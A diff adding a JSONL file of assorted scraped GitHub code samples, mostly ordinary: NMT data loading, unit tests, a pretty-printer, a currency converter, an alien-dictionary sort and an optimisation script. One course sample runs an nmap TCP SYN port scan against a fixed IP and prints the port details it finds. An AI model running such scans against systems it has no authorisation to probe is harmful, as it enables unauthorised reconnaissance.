diff --git "a/5445.jsonl" "b/5445.jsonl" new file mode 100644--- /dev/null +++ "b/5445.jsonl" @@ -0,0 +1,1098 @@ +{"seq_id":"25910668262","text":"import os\nfrom .examples import NMTExample\nimport pandas as pd\nfrom tqdm import tqdm\n\nDATAPATH = {\"train\": \"train.csv\", \"dev\": \"dev.csv\", \"test\": \"test_official.csv\", \"test2\": \"test2_official.csv\"}\n\n# train, dev, test, test2 반환\ndef load_dataset(args, source_tokenizer, target_tokenizer):\n cache_path = os.path.join(args.root, \"cache\")\n\n if not os.path.isdir(cache_path):\n os.makedirs(cache_path)\n\n train_pairs = get_pairs_from_dataset(args,\"train\") # dic[list] 형태\n train_examples = convert_data_to_examples(source_tokenizer, target_tokenizer, train_pairs)\n pd.to_pickle(train_examples, os.path.join(cache_path, \"train.pkl\"))\n\n dev_pairs = get_pairs_from_dataset(args,\"dev\")\n dev_examples = convert_data_to_examples(source_tokenizer, target_tokenizer, dev_pairs)\n pd.to_pickle(dev_examples, os.path.join(cache_path, \"dev.pkl\"))\n\n test_pairs = get_pairs_from_dataset(args, \"test\", test=True)\n test_examples = convert_data_to_examples(source_tokenizer, target_tokenizer, test_pairs, test=True)\n pd.to_pickle(test_examples, os.path.join(cache_path, \"test.pkl\"))\n\n test2_pairs = get_pairs_from_dataset(args, \"test2\", test=True)\n test2_examples = convert_data_to_examples(source_tokenizer, target_tokenizer, test2_pairs, test=True)\n pd.to_pickle(test2_examples, os.path.join(cache_path, \"test2.pkl\"))\n\n else:\n train_examples = pd.read_pickle(os.path.join(cache_path, \"train.pkl\"))\n dev_examples = pd.read_pickle(os.path.join(cache_path, \"dev.pkl\"))\n test_examples = pd.read_pickle(os.path.join(cache_path, \"test.pkl\"))\n test2_examples = pd.read_pickle(os.path.join(cache_path, \"test2.pkl\"))\n\n\n return train_examples, dev_examples, test_examples, test2_examples\n\n# train/ test -> sid, en, ko/ sid, en 가져와 dic 로 반환\ndef get_pairs_from_dataset(args, data_type, test=False):\n df = pd.read_csv(os.path.join(args.root, DATAPATH[data_type]))\n sid = df[\"sid\"].to_list()\n src_language = df[\"en\"].to_list()\n if test:\n return {\"sid\": sid, \"src\": src_language}\n else:\n trg_language = df[\"ko\"].to_list()\n return {\"sid\": sid, \"src\": src_language, \"trg\": trg_language}\n\n# model 에 넣기위한? (guid, input_ids, trg_ids) 로 다룰 수 있게 클래스화 시킨다 \n# NMTExample() ->\ndef convert_data_to_examples(source_tokenizer, target_tokenizer, dataset, test=False):\n examples = []\n\n if test:\n for idx, (sid, src) in tqdm(enumerate(zip(dataset[\"sid\"], dataset[\"src\"]))):\n src_ids = source_tokenizer.encode(src.strip())\n examples.append(NMTExample(guid=f\"{sid}\", input_ids=src_ids,trg_ids=None))\n else:\n for idx, (sid, src, trg) in tqdm(enumerate(zip(dataset[\"sid\"], dataset[\"src\"], dataset[\"trg\"]))):\n src_ids = source_tokenizer.encode(src.strip())\n trg_ids = target_tokenizer.encode(trg.strip())\n examples.append(NMTExample(guid=f\"{sid}\", input_ids=src_ids, trg_ids=trg_ids))\n\n return examples\n","repo_name":"rrr-jh/NLP_NMT_project","sub_path":"project3_nmt/util/data_utils.py","file_name":"data_utils.py","file_ext":"py","file_size_in_byte":3062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"34337857166","text":"# -*- coding: utf-8 -*-\nN = int(input())\n\nfor _ in range(N):\n testeCases = [int(n) for n in input().split(\" \")]\n X = min(testeCases)\n Y = max(testeCases)\n sum = 0\n for j in range(X + 1, Y):\n if j % 2 != 0:\n sum += j\n print(sum)\n","repo_name":"JulianePires/Beecrowd","sub_path":"EstruturasDeRepeticao/soma-de-impares-consecutivos.py","file_name":"soma-de-impares-consecutivos.py","file_ext":"py","file_size_in_byte":242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"16678429496","text":"from lora import LoRa\n\n#se inicializa el objeto de lora sin header\nlora = LoRa()\n\n#en el caso de que se desee un header para el filtrado de los mensajes\n#lorawhead = LoRa(header = 'header')\n#de manera los mensajes llevaran ese header para ser filtrados de otros\n\n#send(msg) envia msg a traves del chip de lora\nmsg = 'hola desde tierra'\nlora.send(msg)","repo_name":"FunPythonEC/uPyLoRa","sub_path":"ejemplos/loranodo.py","file_name":"loranodo.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"es","doc_type":"code","stars":5,"dataset":"github-code","pt":"69"} +{"seq_id":"30316395940","text":"from unittest import TestCase\n\nfrom pygccx.step_keywords import TimePoints\nfrom pygccx.protocols import IKeyword\n\nimport numpy as np\n\nclass TestTimePoints(TestCase):\n\n def test_is_IKeyword(self):\n tp = TimePoints('TP1', [1,2,3])\n self.assertTrue(isinstance(tp, IKeyword))\n\n def test_default(self):\n tp = TimePoints('TP1', [1,2,3])\n known = '*TIME POINTS,NAME=TP1\\n'\n known += '1.0000000e+00,\\n2.0000000e+00,\\n3.0000000e+00\\n'\n self.assertEqual(str(tp), known)\n\n def test_range(self):\n tp = TimePoints('TP1', range(1,4))\n known = '*TIME POINTS,NAME=TP1\\n'\n known += '1.0000000e+00,\\n2.0000000e+00,\\n3.0000000e+00\\n'\n self.assertEqual(str(tp), known)\n\n def test_nparray(self):\n tp = TimePoints('TP1', np.linspace(0.2, 1, 5, endpoint=True))\n known = '*TIME POINTS,NAME=TP1\\n'\n known += '2.0000000e-01,\\n4.0000000e-01,\\n6.0000000e-01,\\n8.0000000e-01,\\n1.0000000e+00\\n'\n self.assertEqual(str(tp), known)\n\n def test_total_time(self):\n tp = TimePoints('TP1', [1,2,3], use_total_time=True)\n known = '*TIME POINTS,NAME=TP1,TIME=TOTAL TIME\\n'\n known += '1.0000000e+00,\\n2.0000000e+00,\\n3.0000000e+00\\n'\n self.assertEqual(str(tp), known)","repo_name":"calculix/pygccx","sub_path":"pygccx/step_keywords/test/test_time_points.py","file_name":"test_time_points.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"69"} +{"seq_id":"37030345353","text":"# Much is copied (but greatly changed) from tommikaikkonen/prettyprinter\ntry:\n\timport wcwidth\nexcept ImportError:\n\tclass wcwidth:\n\t\twcswidth = len\n\nfrom . import util\nfrom . import doc as d\nfrom . import sdoctypes as sd\n\ndef check_fit(stack, *, width, ribbon_width, column):\n\tstack = util.dfsqueue(stack)\n\tfor indent, prio, inline, doc in stack:\n\t\tif doc is d.NIL: continue\n\t\telif doc is d.HARDLINE: column = indent\n\t\telif isinstance(doc, d.Str): column += wcwidth.wcswidth(doc.str)\n\t\telif isinstance(doc, d.Concat): stack.extend((indent, prio, inline, doc) for doc in doc.docs)\n\t\telif isinstance(doc, d.FlatChoice): stack.append((indent, prio, inline, doc.inline if inline else doc.block))\n\t\telif isinstance(doc, d.Nest): stack.append((indent + doc.indent * (not inline), prio, inline, doc.doc))\n\t\telif isinstance(doc, d.Contextual): stack.append((indent, prio, inline, doc.func(indent, column, width, ribbon_width)))\n\t\telif isinstance(doc, d.AlwaysBreak): return False\n\t\telif isinstance(doc, d.Group):\n\t\t\tdprio = doc.prio**1.5/(column+1)**0.5\n\t\t\tif dprio < prio: stack.append((indent, max(prio, dprio), True, doc.doc))\n\t\telif isinstance(doc, d.Annotate): stack.append((indent, prio, inline, doc.doc))\n\t\telse: raise ValueError((indent, prio, inline, doc))\n\n\t\tif column > max(width, indent + ribbon_width): return False\n\treturn True\n\ndef layout(doc, *, width=79, ribbon_frac=0.9):\n\tdef do_check_fit(stack):\n\t\treturn check_fit(\n\t\t\tstack,\n\t\t\twidth=width,\n\t\t\tribbon_width=ribbon_width,\n\t\t\tcolumn=column,\n\t\t)\n\n\tribbon_width = max(0, min(width, round(ribbon_frac * width)))\n\tcolumn = 0\n\n\tstack = util.dfsqueue([(0, 0, False, doc)])\n\tfor indent, prio, inline, doc in stack:\n\t\tif doc is d.NIL: continue\n\t\telif doc is d.HARDLINE: yield sd.SLine(indent); column = indent\n\t\telif isinstance(doc, d.Str): yield doc.str; column += wcwidth.wcswidth(doc.str)\n\t\telif isinstance(doc, d.Concat): stack.extend((indent, prio, inline, child) for child in doc.docs)\n\t\telif isinstance(doc, d.FlatChoice): stack.append((indent, prio, inline, doc.inline if inline else doc.block))\n\t\telif isinstance(doc, d.Nest): stack.append((indent + doc.indent * (not inline), prio, inline, doc.doc))\n\t\telif isinstance(doc, d.Contextual): stack.append((indent, prio, inline, doc.func(indent, column, width, ribbon_width)))\n\t\telif isinstance(doc, d.AlwaysBreak): stack.append((indent, prio, False, doc.doc))\n\t\telif isinstance(doc, d.Group):\n\t\t\tdprio = doc.prio**1.5/(column+1)**0.5\n\t\t\tfits = do_check_fit([(indent, dprio, True, doc.doc)])\n\t\t\t# if fits: yield \"\\x1B[1;2;32;40m\"\n\t\t\t# else: yield \"\\x1B[1;2;31;40m\"\n\t\t\t# yield f\"{dprio:.4}\"\n\t\t\t# yield \"\\x1B[m\"\n\t\t\tstack.append((indent, prio if fits else dprio, fits, doc.doc))\n\t\telif isinstance(doc, d.Annotate):\n\t\t\tyield sd.SAnnotationPush(doc.annotation)\n\t\t\tstack.append((indent, prio, inline, doc.doc))\n\t\t\tstack.append((indent, prio, inline, sd.SAnnotationPop(doc.annotation)))\n\t\telif isinstance(doc, sd.SAnnotationPop): yield doc\n\t\telse: raise ValueError((indent, prio, inline, doc))\n","repo_name":"Kyuuhachi/Dotfiles-legacy","sub_path":"pylib/pp/layout.py","file_name":"layout.py","file_ext":"py","file_size_in_byte":3020,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"69"} +{"seq_id":"31845693145","text":"expenses =[1200,1900,2100,1700,2300]\n\n# # for i,exp in enumerate(expenses) :\n# print(f'month {i+1} expenses {exp}')\n\n# for i, exp in enumerate (expenses) :\n# if exp >2000 :\n# print(\"Month expenses is greater then 2000\")\n# if you want to find the only te first occurence then\nfor i, exp in enumerate (expenses) :\n if exp >2000 :\n print(\"Month expenses is greater then 2000\")\n break\n\n","repo_name":"pratapsinghpatwal/Basicpython","sub_path":".ipynb_checkpoints/forenumuse.py","file_name":"forenumuse.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"4885278444","text":"#!/usr/bin/python\nimport nmap3\nfrom datetime import datetime\nfrom termcolor import colored\n\ntarget = '11.11.11.171'\nmsg_ok1 = colored('[*]', 'green')\nmsg_ok2 = colored('==>[+]', 'cyan')\n\npynmap_scan = nmap3.NmapScanTechniques()\ntcpsyn = pynmap_scan.nmap_syn_scan(target)\n\ndef nmap_tcpsyn(_target):\n for _info in tcpsyn[_target]:\n print(msg_ok1,'Porta:',_info['portid'])\n print(msg_ok2,'Protocolo:',_info['protocol'])\n print(msg_ok2,'Estado:', _info['state'])\n print(msg_ok2,'Razao',_info['reason'])\n print(msg_ok2,'TTL',_info['reason_ttl'])\n\n for chave, valor in _info['service'].items():\n if chave == 'name':\n print(msg_ok2, chave, valor)\n print()\n\nnmap_start = datetime.now()\nnmap_tcpsyn(target)\nnmap_end = datetime.now()\nnmap_time = nmap_end - nmap_start\nprint(msg_ok1,'Tempo do Scan:', nmap_time)\n\n","repo_name":"sandromelobrazil/YELLOW_aula1","sub_path":"AULA6/exercicios/tcpsyn_001.py","file_name":"tcpsyn_001.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"24160349825","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\ndef plot_an_image(X,y):\n\n# 随机打印一个数字\n\n pick_one = np.random.randint(0, 5000)\n image = X[pick_one, :]\n fig, ax = plt.subplots(figsize=(1, 1))\n ax.matshow(image.reshape((20, 20)), cmap='gray_r')\n plt.xticks([]) # 去除刻度,美观\n plt.yticks([])\n plt.show()\n print('this should be {}'.format(y[pick_one]))\n\n\ndef plot_100_image(X):\n\n# 随机画100个数字\n\n sample_idx = np.random.choice(np.arange(X.shape[0]), 100) # 随机选100个样本\n sample_images = X[sample_idx, :] # (100,400)\n\n fig, ax_array = plt.subplots(nrows=10, ncols=10, sharey=True, sharex=True, figsize=(8, 8))\n\n for row in range(10):\n for column in range(10):\n ax_array[row, column].matshow(sample_images[10 * row + column].reshape((20, 20)),\n cmap='gray_r')\n plt.xticks([])\n plt.yticks([])\n plt.show()\n\n","repo_name":"zuzu-sun-18/ML-exercise","sub_path":"Multi_classification_logistic_regression/displayData.py","file_name":"displayData.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"16647343911","text":"# 1.Создать переменную int_item со значением 10\nint_item = 10\n# 2. Создать переменную comp_item со значением 18\ncomp_item = 18\n# 3. Создать переменную mult_int в которй умножите int_item на 2\nmult_int = int_item * 2\n# 4. Создать переменную item_2 со значением True\nitem_2 = True\n# 5. Создать переменную item_3 со значением False\nitem_3 = False\n# 6. Создать переменную item_4 со значением 0\nitem_4 = 0\n# 7. Создать переменную item_5 со значением 1\nitem_5 = 1\n# 8. Создать переменную usd_item со значением ‘usd’\nusd_item = 'usd'\n# 9. Создать переменную usd_usd_rate со значением 1\nusd_usd_rate = 1\n# 10. Создать переменную eur_item со значением ‘eur’\neur_item = 'eur'\n# 11. Создать переменную usd_eur_rate со значением 0.86\nusd_eur_rate = 0.86\n# 12. Создать переменную uah_item со значением ‘uah’\nuah_item = 'uah'\n# 13. Создать переменную usd_uah_rate со значением 26.23\nusd_uah_rate = 26.23\n# 14. Создать переменную chf_item со значением ‘chf’\nchf_item = 'chf'\n# 15. Создать переменную usd_chf_rate со значением 0.91\nusd_chf_rate = 0.91\n# 16. Создать переменную rub_item со значением ‘rub’\nrub_item = 'rub'\n# 17. Создать переменную usd_rub_rate со значением 71.88\nusd_rub_rate = 71.88\n# 18. Создать переменную byn_item со значением ‘byn’\nbyn_item = 'byn'\n# 19. Создать переменную usd_byn_rate со значением 2.46\nusd_byn_rate = 2.46\n# 20. Сделать if в котором будет условие: если mult_int больше comp_item,\n# то вывести в консоль (“Переменная mult_int больше”, comp_item)\nif mult_int > comp_item:\n print(\"Переменная mult_int больше\", comp_item)\n# 21. Создать переменную div_int в которй разделить int_item на 2\ndiv_int = int_item / 2\n# 22. Сделать if в котором будет условие: если div_int меньше comp_item,\n# то вывести в консоль (“Переменная div_int меньше”, comp_item)\nif div_int < comp_item:\n print(\"Переменная dv_int меньше\", comp_item)\n# 23. Создать переменную item_1 в которй прибавить 10 к переменной int_item\nitem_1 = int_item + 10\n# 24. Сделать if в котором будет условие: если item_1 меньше comp_item,\n# то вывести в консоль (“Переменная item_1 меньше”, comp_item),\n# иначе, вывести в консоль (“Переменная item_1 больше или равна”, comp_item)\nif item_1 < comp_item:\n print(\"Переменная item_1 меньше\", comp_item)\nelse:\n print(\"Переменная item_1 больше или равна\", comp_item)\n# 25. Сделать if в котором будет условие: если item_2,\n# то вывести в консоль (“Переменная item_2 = ”, item_2),\n# иначе, вывести в консоль (“Переменная item_2 = ”, item_3)\nif item_2:\n print(\"Переменная item_2 = \", item_2)\nelse:\n print(\"Переменная item_2 = \", item_3)\n# 26. Сделать if в котором будет условие: если item_3,\n# то вывести в консоль (“Переменная item_3 = ”, item_2),\n# иначе, вывести в консоль (“Переменная item_3 = ”, item_3)\nif item_3:\n print(\"Переменная item_3 = \", item_2)\nelse:\n print(\"Переменная item_3 = \", item_3)\n# 27. Сделать if в котором будет условие: если item_5,\n# то вывести в консоль (“Переменная item_5 = ”, item_5),\n# иначе, вывести в консоль (“Переменная item_5 = ”, item_4)\nif item_5:\n print(\"Переменная item_5 = \", item_5)\nelse:\n print(\"Переменная item_5 = \", item_4)\n# 28. Сделать if в котором будет условие: если item_4,\n# то вывести в консоль (“Переменная item_4 = ”, item_5),\n# иначе, вывести в консоль (“Переменная item_4 = ”, item_4)\nif item_4:\n print(\"Переменная item_4 = \", item_5)\nelse:\n print(\"Переменная item_4 = \", item_4)\n# 29. Создать переменную currency_convertor со значением item_2\ncurrency_convertor = item_2\n\n# 30. Сделать if в котором будет условие: если currency_convertor,\n# то выполнять следующие шаги задания,\n# иначе, вывести в консоль (“Переменная currency_convertor = ”, item_3)\nlist_v = [\"eur\", \"EUR\", \"usd\", \"USD\", \"uah\", \"UAH\", \"chf\", \"CHF\", \"byn\", \"BYN\", \"rub\", \"RUB\"]\nif currency_convertor:\n currency_usd = usd_item\n target_currency = input(\"Здравствуйте! Выберите валюту,в которую вы хотите перевести доллары: \")\n while target_currency not in list_v:\n print(\"Неверная валюта, попробуйте еще раз!!!\")\n target_currency = input(\"Здравствуйте! Выберите валюту,в которую вы хотите перевести доллары: \")\n if target_currency in list_v:\n break\n target_currency_amount = float(input(\"Сколько долларов($) вы хотите перевести?\"))\n if target_currency == ('eur'):\n currency_result = target_currency_amount * usd_eur_rate\n print(target_currency_amount, usd_item, \"=\", currency_result, eur_item)\n elif target_currency == ('EUR'):\n currency_result = target_currency_amount * usd_eur_rate\n print(target_currency_amount, usd_item, \"=\", currency_result, eur_item)\n elif target_currency == ('uah'):\n currency_result = target_currency_amount * usd_uah_rate\n print(target_currency_amount, usd_item, \"=\", currency_result, uah_item)\n elif target_currency == ('UAH'):\n currency_result = target_currency_amount * usd_uah_rate\n print(target_currency_amount, usd_item, \"=\", currency_result, uah_item)\n elif target_currency == ('chf'):\n currency_result = target_currency_amount * usd_chf_rate\n print(target_currency_amount, usd_item, \"=\", currency_result, chf_item)\n elif target_currency == ('CHF'):\n currency_result = target_currency_amount * usd_chf_rate\n print(target_currency_amount, usd_item, \"=\", currency_result, chf_item)\n elif target_currency == ('rub'):\n currency_result = target_currency_amount * usd_rub_rate\n print(target_currency_amount, usd_item, \"=\", currency_result, rub_item)\n elif target_currency == ('RUB'):\n currency_result = target_currency_amount * usd_rub_rate\n print(target_currency_amount, usd_item, \"=\", currency_result, rub_item)\n elif target_currency == ('byn'):\n currency_result = target_currency_amount * usd_byn_rate\n print(target_currency_amount, usd_item, \"=\", currency_result, byn_item)\n elif target_currency == ('BYN'):\n currency_result = target_currency_amount * usd_byn_rate\n print(target_currency_amount, usd_item, \"=\", currency_result, byn_item)\n elif target_currency == ('usd'):\n currency_result = target_currency_amount * usd_usd_rate\n print(target_currency_amount, usd_item, \"=\", currency_result, usd_item)\n elif target_currency == ('USD'):\n currency_result = target_currency_amount * usd_usd_rate\n print(target_currency_amount, usd_item, \"=\", currency_result, usd_item)\nelse:\n print(\"Переменная currency_convertor = \", item_3)\n","repo_name":"qakdy/python","sub_path":"hw_3.py","file_name":"hw_3.py","file_ext":"py","file_size_in_byte":8251,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"9951172523","text":"import os\nimport sys\n\nPROJECT_PATH = os.path.dirname(os.path.abspath(__file__))\nsys.path.insert(0, PROJECT_PATH)\n\nfrom pelicanconf import *\n\n\n# General.\nSITEURL = 'https://andrea.corbellini.name'\nOUTPUT_PATH = os.path.dirname(PROJECT_PATH)\n\n\n# Static files.\nMINIFY_CSS = True\nMINIFY_JS = True\n\n\n# Comments.\nREMARK42_URL = 'https://remark42.fly.dev'\nREMARK42_SITE_ID = 'andrea.corbellini.name'\n\n\n# Stats.\nGOATCOUNTER_URL = 'https://cor.goatcounter.com/count'\n\n\n# Feeds.\nFEED_ATOM = 'feed.atom'\nFEED_RSS = 'feed.rss'\nFEED_UBUNTU_RSS = 'ubuntu.rss'\nRSS_FEED_SUMMARY_ONLY = False\n","repo_name":"andreacorbellini/andreacorbellini.github.io","sub_path":"src/publishconf.py","file_name":"publishconf.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"69"} +{"seq_id":"72667141981","text":"from collections import defaultdict, deque\nfrom typing import Any, List, Generator\n\n\ndef create_adjacency_list(words: List[str]) -> defaultdict[str, List]:\n # Ensure that the sequence of words is valid by ensuring\n # that a word is not followed by a shorter word with the\n # same prefix (e.g. \"abc\" followed by \"ab\", would imply\n # a sequence that was definitely not lexicographically\n # ordered).\n for previous_word, word in zip(words, words[1:]):\n if len(word) < len(previous_word) and previous_word.startswith(word):\n return None\n\n # Iterate over the words producing a sequence of tuples\n # containing the prefix and the character at the current\n # index of each word.\n #\n # For example, given the words \"abc\", \"abd\", \"ade\", the\n # sequence of tuples would be:\n #\n # (\"\", [\"a\", \"a\", \"a\"])\n # (\"a\", [\"b\", \"b\", \"d\"])\n # (\"ab\", [\"c\", \"d\", \"e\"])\n def chars_grouped_by_prefix(words):\n max_len = max(map(len, words)) if words else 0\n for i in range(max_len):\n prefix_words = defaultdict(list)\n for word in words:\n if i >= len(word):\n continue\n prefix = word[:i]\n char = word[i]\n prefix_words[prefix].append(char)\n yield from prefix_words.items()\n\n # Create an adjacency list from the columns of characters\n # in the words grouped by the prefix of each column.\n #\n # The grouping by prefix ensures that we only infer an\n # ordering in between characters with the same prefix.\n # For example, \"abc\", \"bde\" allows you to infer\n # that \"a\" < \"b\" but not that \"b\" < \"d\".\n adjacency_list: defaultdict[str, List] = defaultdict(list)\n for _, chars in chars_grouped_by_prefix(words):\n for i in range(len(chars)):\n j = i + 1\n\n # Always add the character to the adjacency list\n # even if it has no edges. This ensures that the\n # topological sort will include all characters.\n if chars[i] not in adjacency_list:\n adjacency_list[chars[i]] = []\n\n # If there is a next character and it is different\n # from the current character, add an edge from the\n # current character to the next character.\n if j < len(chars) and chars[i] != chars[j]:\n if chars[j] not in adjacency_list[chars[i]]:\n adjacency_list[chars[i]].append(chars[j])\n\n return adjacency_list\n\n\ndef topological_sort(\n adjacency_list: defaultdict[Any, List]\n) -> Generator[str, None, None]:\n # In order to perform a topological sort, we need to\n # keep track of the in-degree of each vertex.\n #\n # The in-degree of a vertex is the number of edges that\n # point to it, and is used to determine which vertexes\n # can be visited next.\n in_degree = {char: 0 for char in adjacency_list}\n for vertex in adjacency_list:\n for edge in adjacency_list[vertex]:\n in_degree[edge] += 1\n\n topological_order_count = 0\n\n # We keep a separate queue for the start vertexes because\n # we only want to pick a new start vertex when we've\n # fully traversed the current start vertex.\n #\n # This is helpful for the case in which there are\n # multiple disconnected graphs in the adjacency list\n # but also for the case in which we need to add the\n # characters that we have no ordering information for\n # lexicographically.\n start_vertexes = deque([vertex for vertex in in_degree if in_degree[vertex] == 0])\n queue = deque()\n while queue or start_vertexes:\n if not queue:\n queue.append(start_vertexes.popleft())\n vertex = queue.popleft()\n\n # A topological sort is performed by traversing through\n # the graph yielding vertexes with an in-degree of 0,\n # and then decrementing the in-degree of each of its\n # edges until they also have an in-degree of 0 and can\n # be added to the queue themselves.\n yield vertex\n topological_order_count += 1\n\n for edge in adjacency_list[vertex]:\n in_degree[edge] -= 1\n if in_degree[edge] == 0:\n queue.append(edge)\n\n # If the number of vertexes in the topological order\n # is not equal to the number of vertexes in the graph,\n # then there is a cycle in the graph.\n if topological_order_count != len(adjacency_list):\n raise ValueError(\"Cycle detected\")\n\n\ndef alien_dictionary(words: List[str]) -> str:\n adjacency_list = create_adjacency_list(words)\n if not adjacency_list:\n return \"\"\n\n try:\n return \"\".join(topological_sort(adjacency_list))\n except ValueError:\n return \"\"\n\n\nclass Solution:\n def alienOrder(self, words: List[str]) -> str:\n return alien_dictionary(words)\n\n\n# Empty list\nprint(alien_dictionary([]))\n\n# Single word\nprint(alien_dictionary([\"abc\"]))\n\n# Single letters only\nprint(alien_dictionary([\"z\", \"x\"]))\n\n# Disconnected single letters\nprint(alien_dictionary([\"abc\", \"b\", \"d\"]))\n\n# Same starting letter\nprint(alien_dictionary([\"az\", \"ac\", \"bx\", \"by\"]))\n\n# Same prefixes\nprint(alien_dictionary([\"abc\", \"abd\", \"ade\"]))\n\n# Disconnected graph\nprint(alien_dictionary([\"abc\", \"def\"]))\n\n# Handling lexicographic order and ambiguity\nprint(alien_dictionary([\"abc\", \"ace\", \"bdf\"]))\n\n# Letters with the same rank\nprint(alien_dictionary([\"wrt\", \"wrf\", \"er\", \"ett\", \"rftt\"]))\n\n# Invalid dictionary (cycle detection)\nprint(alien_dictionary([\"abc\", \"bcd\", \"adb\"]))\n\n# Invalid dictionary (shorter word after longer word with prefix)\nprint(alien_dictionary([\"abc\", \"ab\"]))\n\n# Different prefixes but shared postfixes\nprint(alien_dictionary([\"xyz\", \"ayz\", \"byz\"]))\n\n# More complex cycles\nprint(alien_dictionary([\"a\", \"ba\", \"cba\", \"dcba\", \"edcba\", \"de\"]))\n","repo_name":"sebinsua/2023-interview-prep","sub_path":"neetcode/advanced-graphs/0269-alien-dictionary.py","file_name":"0269-alien-dictionary.py","file_ext":"py","file_size_in_byte":5845,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"69"} +{"seq_id":"24116064302","text":"# Why use classes\n# Only use a class when nothing else will do\n\nflag = True # boolean values are handy\nage = 37 # an integer \nintelligence = 198.999 # also float\nprint( type(intelligence) )\ngreet = 'Hello' # text string (a collection of characters)\n# other collections\nmy_tup = (5,4,8,5,2,8,False, 'string', age, greet) # immutable indexed collection\nmy_list = [5,4,8,5,2,8,False, 'string', age, greet] # mutable indexed collection\nmy_set = {6, 4, 8, 8, 2, 3, 2} # unique members\nmy_dictionary = {\"name\":'Floella', 'hero':True} # not indexed by number\nprint(my_set)\n# data about shapes\nt = (3, 4.5, 'red')\nl = [5, 2.5, 'blue']\n# built-in collections dont allow validation or facets (min/max)\nd = {'shape':'hexagon', 'sides':-6, 'size':'really big', 'colour':False}","repo_name":"onionmccabbage/advPythonOct2023","sub_path":"some_classes/why.py","file_name":"why.py","file_ext":"py","file_size_in_byte":765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"69"} +{"seq_id":"37458684874","text":"from typing import List, Optional, Generic, TypeVar\nfrom pydantic import BaseModel , Field\nfrom pydantic.generics import GenericModel\n\nT = TypeVar('T')\n\n\nclass BookSchema(BaseModel):\n id: Optional[int] = None\n title: Optional[str] = None\n description: Optional[str] = None\n\n class Config:\n orm_mode = True\n\n\nclass Request(GenericModel, Generic[T]):\n parameter: Optional[T] = Field(...)\n\n\nclass RequestBook(BaseModel):\n parameter: BookSchema = Field(...)\n\n\nclass Response(GenericModel, Generic[T]):\n code: str\n status: str\n message: str\n result: Optional[T]\n","repo_name":"lemoncode21/fastapi-postgresql-crud","sub_path":"app/schemas.py","file_name":"schemas.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"69"} +{"seq_id":"74217276701","text":"def eval(model, model_name, X_test, Y_test, tag, classes, batch_size):\n \"\"\"\n # Author\n Jakob Krzyston\n \n # Purpose\n Compute the overall accuracy and confusion materix for a given architecture. \n Overall means averaged across SNRs in the specified test set.\n \n # Inputs\n model - Built architecture \n model_name - (str) Name of the built architecture\n X_test - Testing data\n Y_test - Testing labels \n tag - (str) Namimg convention for the experiment\n classes - (str) List on modulation classes\n batch_size - (int) batch_size\n \n # Outputs\n Saved overall accuracy and overall confusion matrix\n \"\"\"\n # Import Packages\n import os\n import numpy as np\n \n # Function to plot the confusion matrices\n import confusion_matrix\n \n # Compute the confusion matrices\n test_Y_hat = model.predict(X_test, batch_size=batch_size)\n conf = np.zeros([len(classes),len(classes)])\n confnorm = np.zeros([len(classes),len(classes)])\n for i in range(0,X_test.shape[0]):\n j = list(Y_test[i,:]).index(1)\n k = int(np.argmax(test_Y_hat[i,:]))\n conf[j,k] = conf[j,k] + 1\n for i in range(0,len(classes)):\n confnorm[i,:] = conf[i,:] / np.sum(conf[i,:])\n cor = np.sum(np.diag(conf))\n ncor = np.sum(conf) - cor\n acc = 1.0*cor/(cor+ncor)\n np.save(os.getcwd()+'/'+tag+'/Computed_Values/' + model_name + '_Overall_Accuracy', acc.astype('float32'))\n print(\"Overall Accuracy - \" + model_name + \": \", acc)\n filename = os.getcwd()+'/'+tag+'/Figures/'+ model_name + '_Overall_Confusion_Matrix.png'\n confusion_matrix.plot(confnorm, tag, model_name, filename, labels=classes)","repo_name":"JakobKrzyston/Complex_Convolutions","sub_path":"Complex_Convolutions/overall_acc_and_conf_matrix.py","file_name":"overall_acc_and_conf_matrix.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"69"} +{"seq_id":"39615042681","text":"import pulp\ndir (pulp)\nimport json\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nwith open('Alt_data.json', 'r') as openfile:\n json_data = json.load(openfile)\n#Data\nprodukt_navn = json_data['produkter']\nt = json_data['tidsperioder']\ned = json_data['efterspørgsel']\nepo = json_data['produktion_omkostninger'] #Enheds produktions omkostninger\nelo = json_data['lager_omkostninger']#Enheds lager omkostninger\nmL = json_data['mindste_lager']\nmP = json_data['mindste_produktion']\nb = json_data['batch']\nl = json_data['lead_time']\nr = json_data['r']\nsL = json_data[\"start_lager\"]\nf = json_data[\"fixed_cost\"]\n\nprodukt = range(0, len(produkt_navn))\nt = range(0, len(t))\n\n#Beregning af bigM\nd_sum = [0]\nfor recept in range(0, len(ed)):\n for tal in range(0, len(ed[recept])):\n d_sum[recept] += ed[recept][tal]\n d_sum.append(0)\nbigM = max(sum(d_sum),max(mP))\nprint(\"bigM\",bigM)\n\n#Problemet\nprob = pulp.LpProblem('minimer omk', pulp.LpMinimize)\n\n#Variabler\nXt = pulp.LpVariable.dicts(\"produceret\",(produkt,t),lowBound=0,cat=pulp.LpInteger)\nIt = 